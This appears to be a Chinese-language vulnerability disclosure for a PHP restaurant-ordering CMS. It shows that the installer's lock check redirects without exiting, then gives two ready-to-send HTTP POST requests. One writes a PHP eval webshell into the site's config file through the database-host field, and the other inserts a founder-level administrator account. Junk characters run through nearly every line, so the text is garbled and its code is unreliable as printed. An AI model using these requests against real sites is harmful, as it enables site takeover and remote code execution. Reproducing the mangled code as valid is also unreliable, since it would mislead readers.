问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。% m0 G2 u8 b- ^; y1 j/ r
4 m3 q) @2 z9 @) E# o
<?php
; ]# f) x/ l: Y d( t7 Jif(file_exists("../install.lock")): D$ ^% M9 ]4 O" \ h% R V
{
3 t' k( L9 a* Y. [1 M! q8 T header("Location: ../");//没有退出! I0 M8 e" w9 E: q: y% ? x7 T( ^
}- [* R- W6 U) U7 p! u
* x1 S+ M. j# A- |- X//echo 'tst';exit;5 E; a5 O4 C8 K2 I3 c; e9 ^6 t( |+ A
require_once("init.php");( Z3 V* |+ Y5 H. ^+ }
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
$ ]. w; O, _+ y5 _! p, W{1 ]3 n5 M. _2 Y1 V& u; K2 e
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。( W8 D9 U9 b! q3 x
8 K2 d4 }* F! s7 U- I
1、getshell(很危险)( B, j) G' u, H
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
' {" ]+ Y1 D1 _- P) N9 W8 d{
4 V' x" u5 Z- B d$smarty->assign("step",1);" x& J- N7 D8 V# f& B2 \
$smarty->display("index.html");
. n8 W. h. n7 b1 d h" b2 I& \6 L}elseif($_REQUEST['step']==2)
6 S8 m2 M: z3 l0 Q: [: x; X9 f{
* z* L0 G8 l# w* V* Q $mysql_host=trim($_POST['mysql_host']);" @$ o0 S- E% |8 q
$mysql_user=trim($_POST['mysql_user']);
3 d( W1 h: u1 n+ D6 F5 G6 |6 s $mysql_pwd=trim($_POST['mysql_pwd']);, m( j- \& e: W# @- m- O
$mysql_db=trim($_POST['mysql_db']);2 \3 X0 W; t7 p: F
$tblpre=trim($_POST['tblpre']);! g6 J# {! i5 P9 ]6 Q2 `: i0 H
$domain==trim($_POST['domain']);
/ Z4 d" o9 T+ j ] $str="<?php \r\n";- g; T5 t! G! r* ]
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
) H9 ?" @0 k4 v: O Q $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n"; i' M5 s4 Z( D# N& p! h
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
, R' j8 {% i) g# i! W $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
1 j6 J% @4 L3 u $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
0 D, k' o0 j+ s( M $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
* c! ~1 \1 i% r5 _; ^9 H $str.='define("DOMAIN","'.$domain.'");'."\r\n";9 A% F& o* O# U- y
$str.='define("SKINS","default");'."\r\n";
! o$ g# o d, C, ]+ y. q. x, L $str.='?>';
4 r6 x6 t! X# _& ]* T( h% r file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
, k; \, k: k }上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
9 \4 X3 |8 V. J$ \3 ~; X+ KPOST /canting/install/index.php?m=index&step=2 HTTP/1.1& a1 m8 O2 O. W1 m1 X" q
Host: 192.168.80.129( N) b/ I' E) v) j6 L
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0+ {8 J w, c- A4 J: J0 _
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
2 s; {' D& c- d# }* A! n5 PAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3& }5 |" z9 c/ W8 U
Accept-Encoding: gzip, deflate! [& Q2 J7 B' H$ Q7 a- O, y
Referer: http://192.168.80.129/canting/install/index.php?step=19 p- ~. ~+ p! N% `' @
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42% W; x5 \7 a, A/ X. \
Content-Type: application/x-www-form-urlencoded
8 K3 r1 A1 W7 _! f; t) {4 L, rContent-Length: 126
5 Z6 `7 J8 e+ y# N! l 0 j8 c# d% t& G' G
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
6 F2 ]6 n6 M) p0 i8 `但是这个方法很危险,将导致网站无法运行。. u" g# A/ U H: t) t0 y, a
3 p! A8 g' b1 U9 o P; a6 a4 Q
2、直接添加管理员, u" k# [1 Y. I; A3 |; |! E/ C
9 W, Z5 A+ i' {/ v" [elseif($_REQUEST['step']==5)7 c0 k! @/ q) d9 {1 n" A% z# N
{
- L4 n* F! L3 X: a, k( u0 a if($_POST)- \0 `; z* |% N$ T
{ require_once("../config/config.inc.php");
/ W3 a% t/ u9 b0 D* M5 E' Q $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
' d( S$ H/ l n, {% V9 s mysql_select_db(MYSQL_DB,$link);
4 K d! H& ?: D ? mysql_query("SET NAMES ".MYSQL_CHARSET );8 P( _; P" H* X0 F( s8 @2 s+ M8 c
mysql_query("SET sql_mode=''");
, C: V" M+ ]. w
% G1 G+ C+ U( y3 M) a2 n $adminname=trim($_POST['adminname']);
& j0 }' _8 I( D) o# t $pwd1=trim($_POST['pwd1']);( b {, {% [ K7 }- R" d6 b
$pwd2=trim($_POST['pwd2']);
, T; r1 `& O0 A4 R if(empty($adminname))" q% E0 L; k4 A. W0 u
{ y% R% j( y' C
- d% N4 Y9 E2 p* U8 a. F$ g
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
3 X; c. C7 R9 j0 `* q3 N exit();! _, _( D y9 T5 A
}" z# U( @) c# f2 A) t# {0 N
if(($pwd1!=$pwd2) or empty($pwd1))
V$ }% N* N9 G5 q) R! Z; X {
2 _! d$ {7 h7 \: S" Y5 T echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
0 ` M. s' L4 m) ^8 \ }- e. J! q4 v" G- Q; t7 z4 _
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员, ?7 _0 ~* W8 c% q/ T
}
; L8 _5 l) ]3 h6 V3 n这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
8 @: ?* _6 k2 f; F- ZPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
% q% m1 F) s1 n) X: M6 bHost: 192.168.80.129
8 m1 l& i# g; Y- eUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0( d0 ?1 \, ~( K2 i: Q* n+ X2 F" P1 P
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8( H) q1 G) V1 N! a
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.37 K# X" q B5 l1 o5 k0 r
Accept-Encoding: gzip, deflate0 S+ O. B, Q/ _# M1 W! i$ |7 J1 s2 h4 T
Referer: http://www.2cto.com /canting/install/index.php?step=1
2 p% v" x9 ]$ w! ?0 g% Q1 g0 S P+ YCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
' G' ]: ~: B& v/ @$ lContent-Type: application/x-www-form-urlencoded7 W o5 K7 s* E4 V7 t$ B- n
Content-Length: 46$ Y) |" {, ?6 w9 u: Q* @# f7 h, O
: W7 Z' V- w9 l i! H
adminname=qingshen&pwd1=qingshen&pwd2=qingshen# P0 v, v! p( t. L" l
|